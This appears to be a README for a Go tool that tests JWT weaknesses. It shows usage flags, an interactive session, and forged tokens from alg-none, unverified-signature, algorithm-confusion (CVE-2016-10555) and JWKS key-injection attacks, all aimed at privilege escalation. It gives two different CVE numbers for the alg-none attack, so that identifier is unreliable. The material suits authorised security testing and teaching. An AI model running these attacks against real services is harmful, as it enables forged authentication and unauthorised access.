
针对JWT渗透开发的漏洞验证/密钥爆破工具,针对CVE-2015-9235/空白密钥/未验证签名攻击/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042的结果生成用于FUZZ,也可使用字典/字符枚举(包括JJWT)的方式进行爆破(JWT Crack)
Solemn Statement: The techniques, ideas, and tools mentioned in this document are for learning and communication purposes only for security. No one shall use them for illegal purposes or for profit, otherwise the consequences shall be borne by themselves.
A vulnerability verification/secret cracking tool developed for JWT penetration. It generates results for CVE-2015-9235/Unverified Signature Attack/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042 for FUZZ, and can also perform cracking using dictionary/character enumeration.Tool Introduction · Usage · Notes · Technical Exchange
During penetration testing of company projects, when encountering front-end and back-end separation projects, JWT is often used as a Token for permission verification. Tools like jwt-tool can be used, but they still cannot achieve a one-stop solution. Therefore, I developed a one-stop JWT penetration auxiliary tool using Go to help everyone perform privilege escalation testing.
What are the application scenarios for this tool?
What are the advantages of this tool?
# Build
go mod tidy
cd cmd
go build.
# Command line run
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Whether to use payloads from file. Default empty uses built-in role dictionary (mode 2 binding). Non-empty for mode 3 (mode 3 binding)
-em int
Secret encryption mode NONE/MD5/16-bit MD5/BASE64 (default ALL=>0, NONE=>1, MD5=>2, 16-bit MD5=>3, BASE64)
-fs string
Default dictionary for cracking. Can be modified according to guessed rules (used with -fz for length) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Maximum character count for character cracking (if character cracking, specify length -fz)
-jbc string
JWT body to modify
-jm int
Mode 1: (Unknown Secret) Modify Payload privilege escalation test Mode 2: (Test Mode 1 first) PayloadFuzz privilege escalation test Mode 3: Secret text brute force Mode 4: Secret character brute force (if character brute force, specify length -fz) Mode 5: Verify JWT Secret (default 1)
-jwt.txt string
JWT string
-mz int
Minimum character count for character cracking (if character cracking, specify length -mz). Default is 1 (default 1)
-pem string
Path to public key pem (preferably absolute path)
-pt int
Select mode: 0 for default full execution, 1 for modifying alg to none (CVE-2015-2951), 2 for privilege escalation due to unverified signature, 3 for modifying asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555), 4 for JWKS public key injection - forging key (CVE-2018-0114), 5 for empty signature (CVE-2020-28042)
-s string
Known Secret, default empty
# Interactive run
.\cmd.exe
? [Prerequisite Selection] Modify JWT to test privilege escalation when secret is unknown, please select mode:
[·] [Use arrows to move, type to filter]
> Mode 1: (Unknown Secret) Modify Payload privilege escalation test
Mode 2: (Test Mode 1 first) PayloadFuzz privilege escalation test
Mode 3: Secret text brute force
Mode 4: Secret character brute force
Mode 5: Verify JWT Secret
? Please enter your JWT string:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? [Mode 1][Mode 2] Modify JWT to test privilege escalation when secret is unknown, please select specific test mode:
[·] [Use arrows to move, type to filter]
> Mode 0: Default full execution
Mode 1: Modify alg to none (CVE-2015-2951)
Mode 2: Privilege escalation due to unverified signature
Mode 3: Modify asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555)
Mode 4: JWKS public key injection - forging key (CVE-2018-0114)
Mode 5: Empty signature (CVE-2020-28042)
? In [Mode 1][Mode 2][Mode 5], you need to modify the JSON string in the second part (Payload) of JWT for privilege escalation test. Copy the Payload part from the previous step, modify it, and enter here:
[Mode 1][Mode 5] Example: {"username":"admin","role":"admin"}
[Mode 2] Example: {"usernmae":"admin","role":"FUZZ"}
Please note that in [Mode 2], FUZZ is the dictionary replacement position. If you do not modify, press Enter to use the original Payload by default.
? Please enter the file path of the public key pem you collected (preferably absolute path)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============Privilege escalation test by modifying Payload without secret===========
① In most cases, when alg is HS256, you can change JWT to none (CVE-2015-9235)
[+]【alg to none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg to None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg to NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg to NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Unverified signature attack: Modify Payload without validation
[+]【Invalid signature attack】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Modify asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555) attack
[+] 【Modify asymmetric crypto algorithm to symmetric crypto algorithm】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS public key injection - forging key (CVE-2018-0114) attack